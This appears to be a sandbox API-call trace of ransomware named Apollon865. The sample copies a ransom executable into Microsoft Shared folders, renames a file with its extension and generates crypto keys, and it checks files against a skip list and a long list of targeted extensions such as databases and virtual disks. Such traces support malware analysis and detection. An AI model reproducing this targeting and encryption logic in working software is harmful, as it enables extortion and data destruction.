	[0074.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4496ca10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4496ca10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.686] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.686] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.686] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0"
	[0074.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591740 | out: hHeap=0x580000) returned 1
	[0074.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0074.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0") returned 56
	[0074.687] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0"
	[0074.687] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.687] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.692] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0x4496ca10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x4496ca10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.693] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.693] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.693] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033"
	[0074.693] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0074.693] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0074.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033") returned 61
	[0074.693] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033"
	[0074.693] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.693] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.701] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44992b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44992b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.701] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.701] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.701] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared"
	[0074.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0074.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0074.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared") returned 59
	[0074.701] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared"
	[0074.701] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.702] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.722] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.722] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x44992b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44992b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.722] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.722] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.722] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts"
	[0074.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0074.722] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0074.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts") returned 65
	[0074.722] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts"
	[0074.722] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.722] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.728] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x449b8cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x449b8cd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.728] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.728] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.728] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.Apollon865") returned 85
	[0074.728] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.apollon865"), dwFlags=0x1) returned 1
	[0074.729] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0074.729] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=326) returned 1
	[0074.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0074.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ad58
	[0074.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0074.730] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0074.731] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0074.731] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0074.731] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x450, lpName=0x0) returned 0xd8
	[0074.741] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x450) returned 0x100000
	[0074.742] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0074.742] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0074.742] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0074.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59add0
	[0074.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59add0 | out: hHeap=0x580000) returned 1
	[0074.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0074.742] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0074.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0074.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0074.743] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0074.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0074.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0074.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0074.743] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0074.743] CloseHandle (hObject=0xd8) returned 1
	[0074.743] CloseHandle (hObject=0xc0) returned 1
	[0074.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ad58 | out: hHeap=0x580000) returned 1
	[0074.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0074.743] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0074.743] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b362800, ftCreationTime.dwHighDateTime=0x1c10ce8, ftLastAccessTime.dwLowDateTime=0x853f7be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2b362800, ftLastWriteTime.dwHighDateTime=0x1c10ce8, nFileSizeHigh=0x0, nFileSizeLow=0x369d3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WHGDTXT.SHX", cAlternateFileName="")) returned 1
	[0074.743] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.743] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="Apollon865.txt.exe") returned 1
	[0074.743] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2=".") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="..") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="windows") returned -1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="bootmgr") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="temp") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="pagefile.sys") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="boot") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="ids.txt") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="ntuser.dat") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="perflogs") returned 1
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2="MSBuild") returned 1
	[0074.744] lstrlenW (lpString="WHGDTXT.SHX") returned 11
	[0074.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP") returned 74
	[0074.744] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="WHGDTXT.SHX" | out: lpString1="WHGDTXT.SHX") returned="WHGDTXT.SHX"
	[0074.744] lstrlenW (lpString="WHGDTXT.SHX") returned 11
	[0074.744] lstrlenW (lpString="Apollon865") returned 10
	[0074.744] lstrcmpiW (lpString1="HGDTXT.SHX", lpString2="Apollon865") returned 1
	[0074.744] lstrlenW (lpString=".dll") returned 4
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2=".dll") returned 1
	[0074.744] lstrlenW (lpString=".lnk") returned 4
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2=".lnk") returned 1
	[0074.744] lstrlenW (lpString=".ini") returned 4
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2=".ini") returned 1
	[0074.744] lstrlenW (lpString=".sys") returned 4
	[0074.744] lstrcmpiW (lpString1="WHGDTXT.SHX", lpString2=".sys") returned 1
	[0074.744] lstrlenW (lpString="WHGDTXT.SHX") returned 11
	[0074.744] lstrlenW (lpString="bak") returned 3
	[0074.744] lstrcmpiW (lpString1="SHX", lpString2="bak") returned 1
	[0074.744] lstrlenW (lpString="ba_") returned 3
	[0074.744] lstrcmpiW (lpString1="SHX", lpString2="ba_") returned 1
	[0074.744] lstrlenW (lpString="dbb") returned 3
	[0074.744] lstrcmpiW (lpString1="SHX", lpString2="dbb") returned 1
	[0074.744] lstrlenW (lpString="vmdk") returned 4
	[0074.744] lstrcmpiW (lpString1=".SHX", lpString2="vmdk") returned -1
	[0074.744] lstrlenW (lpString="rar") returned 3
	[0074.744] lstrcmpiW (lpString1="SHX", lpString2="rar") returned 1
	[0074.744] lstrlenW (lpString="zip") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="zip") returned -1
	[0074.745] lstrlenW (lpString="tgz") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="tgz") returned -1
	[0074.745] lstrlenW (lpString="vbox") returned 4
	[0074.745] lstrcmpiW (lpString1=".SHX", lpString2="vbox") returned -1
	[0074.745] lstrlenW (lpString="vdi") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="vdi") returned -1
	[0074.745] lstrlenW (lpString="vhd") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="vhd") returned -1
	[0074.745] lstrlenW (lpString="vhdx") returned 4
	[0074.745] lstrcmpiW (lpString1=".SHX", lpString2="vhdx") returned -1
	[0074.745] lstrlenW (lpString="avhd") returned 4
	[0074.745] lstrcmpiW (lpString1=".SHX", lpString2="avhd") returned -1
	[0074.745] lstrlenW (lpString="db") returned 2
	[0074.745] lstrcmpiW (lpString1="HX", lpString2="db") returned 1
	[0074.745] lstrlenW (lpString="db2") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="db2") returned 1
	[0074.745] lstrlenW (lpString="db3") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="db3") returned 1
	[0074.745] lstrlenW (lpString="dbf") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="dbf") returned 1
	[0074.745] lstrlenW (lpString="mdf") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="mdf") returned 1
	[0074.745] lstrlenW (lpString="mdb") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="mdb") returned 1
	[0074.745] lstrlenW (lpString="sql") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="sql") returned -1
	[0074.745] lstrlenW (lpString="sqlite") returned 6
	[0074.745] lstrcmpiW (lpString1="XT.SHX", lpString2="sqlite") returned 1
	[0074.745] lstrlenW (lpString="sqlite3") returned 7
	[0074.745] lstrcmpiW (lpString1="TXT.SHX", lpString2="sqlite3") returned 1
	[0074.745] lstrlenW (lpString="sqlitedb") returned 8
	[0074.745] lstrcmpiW (lpString1="DTXT.SHX", lpString2="sqlitedb") returned -1
	[0074.745] lstrlenW (lpString="xml") returned 3
	[0074.745] lstrcmpiW (lpString1="SHX", lpString2="xml") returned -1
	[0074.745] lstrlenW (lpString="$er") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="$er") returned 1
	[0074.746] lstrlenW (lpString="4dd") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="4dd") returned 1
	[0074.746] lstrlenW (lpString="4dl") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="4dl") returned 1
	[0074.746] lstrlenW (lpString="^^^") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="^^^") returned 1
	[0074.746] lstrlenW (lpString="abs") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="abs") returned 1
	[0074.746] lstrlenW (lpString="abx") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="abx") returned 1
	[0074.746] lstrlenW (lpString="accdb") returned 5
	[0074.746] lstrcmpiW (lpString1="T.SHX", lpString2="accdb") returned 1
	[0074.746] lstrlenW (lpString="accdc") returned 5
	[0074.746] lstrcmpiW (lpString1="T.SHX", lpString2="accdc") returned 1
	[0074.746] lstrlenW (lpString="accde") returned 5
	[0074.746] lstrcmpiW (lpString1="T.SHX", lpString2="accde") returned 1
	[0074.746] lstrlenW (lpString="accdr") returned 5
	[0074.746] lstrcmpiW (lpString1="T.SHX", lpString2="accdr") returned 1
	[0074.746] lstrlenW (lpString="accdt") returned 5
	[0074.746] lstrcmpiW (lpString1="T.SHX", lpString2="accdt") returned 1
	[0074.746] lstrlenW (lpString="accdw") returned 5
	[0074.746] lstrcmpiW (lpString1="T.SHX", lpString2="accdw") returned 1
	[0074.746] lstrlenW (lpString="accft") returned 5
	[0074.746] lstrcmpiW (lpString1="T.SHX", lpString2="accft") returned 1
	[0074.746] lstrlenW (lpString="adb") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="adb") returned 1
	[0074.746] lstrlenW (lpString="adb") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="adb") returned 1
	[0074.746] lstrlenW (lpString="ade") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="ade") returned 1
	[0074.746] lstrlenW (lpString="adf") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="adf") returned 1
	[0074.746] lstrlenW (lpString="adn") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="adn") returned 1
	[0074.746] lstrlenW (lpString="adp") returned 3
	[0074.746] lstrcmpiW (lpString1="SHX", lpString2="adp") returned 1
	[0074.746] lstrlenW (lpString="alf") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="alf") returned 1
	[0074.747] lstrlenW (lpString="ask") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="ask") returned 1
	[0074.747] lstrlenW (lpString="btr") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="btr") returned 1
	[0074.747] lstrlenW (lpString="cat") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="cat") returned 1
	[0074.747] lstrlenW (lpString="cdb") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="cdb") returned 1
	[0074.747] lstrlenW (lpString="ckp") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="ckp") returned 1
	[0074.747] lstrlenW (lpString="cma") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="cma") returned 1
	[0074.747] lstrlenW (lpString="cpd") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="cpd") returned 1
	[0074.747] lstrlenW (lpString="dacpac") returned 6
	[0074.747] lstrcmpiW (lpString1="XT.SHX", lpString2="dacpac") returned 1
	[0074.747] lstrlenW (lpString="dad") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="dad") returned 1
	[0074.747] lstrlenW (lpString="dadiagrams") returned 10
	[0074.747] lstrcmpiW (lpString1="HGDTXT.SHX", lpString2="dadiagrams") returned 1
	[0074.747] lstrlenW (lpString="daschema") returned 8
	[0074.747] lstrcmpiW (lpString1="DTXT.SHX", lpString2="daschema") returned 1
	[0074.747] lstrlenW (lpString="db-journal") returned 10
	[0074.747] lstrcmpiW (lpString1="HGDTXT.SHX", lpString2="db-journal") returned 1
	[0074.747] lstrlenW (lpString="db-shm") returned 6
	[0074.747] lstrcmpiW (lpString1="XT.SHX", lpString2="db-shm") returned 1
	[0074.747] lstrlenW (lpString="db-wal") returned 6
	[0074.747] lstrcmpiW (lpString1="XT.SHX", lpString2="db-wal") returned 1
	[0074.747] lstrlenW (lpString="dbc") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="dbc") returned 1
	[0074.747] lstrlenW (lpString="dbs") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="dbs") returned 1
	[0074.747] lstrlenW (lpString="dbt") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="dbt") returned 1
	[0074.747] lstrlenW (lpString="dbv") returned 3
	[0074.747] lstrcmpiW (lpString1="SHX", lpString2="dbv") returned 1
	[0074.747] lstrlenW (lpString="dbx") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dbx") returned 1
	[0074.748] lstrlenW (lpString="dcb") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dcb") returned 1
	[0074.748] lstrlenW (lpString="dct") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dct") returned 1
	[0074.748] lstrlenW (lpString="dcx") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dcx") returned 1
	[0074.748] lstrlenW (lpString="ddl") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="ddl") returned 1
	[0074.748] lstrlenW (lpString="dlis") returned 4
	[0074.748] lstrcmpiW (lpString1=".SHX", lpString2="dlis") returned -1
	[0074.748] lstrlenW (lpString="dp1") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dp1") returned 1
	[0074.748] lstrlenW (lpString="dqy") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dqy") returned 1
	[0074.748] lstrlenW (lpString="dsk") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dsk") returned 1
	[0074.748] lstrlenW (lpString="dsn") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dsn") returned 1
	[0074.748] lstrlenW (lpString="dtsx") returned 4
	[0074.748] lstrcmpiW (lpString1=".SHX", lpString2="dtsx") returned -1
	[0074.748] lstrlenW (lpString="dxl") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="dxl") returned 1
	[0074.748] lstrlenW (lpString="eco") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="eco") returned 1
	[0074.748] lstrlenW (lpString="ecx") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="ecx") returned 1
	[0074.748] lstrlenW (lpString="edb") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="edb") returned 1
	[0074.748] lstrlenW (lpString="epim") returned 4
	[0074.748] lstrcmpiW (lpString1=".SHX", lpString2="epim") returned -1
	[0074.748] lstrlenW (lpString="fcd") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="fcd") returned 1
	[0074.748] lstrlenW (lpString="fdb") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="fdb") returned 1
	[0074.748] lstrlenW (lpString="fic") returned 3
	[0074.748] lstrcmpiW (lpString1="SHX", lpString2="fic") returned 1
	[0074.748] lstrlenW (lpString="flexolibrary") returned 12
	[0074.749] lstrlenW (lpString="fm5") returned 3
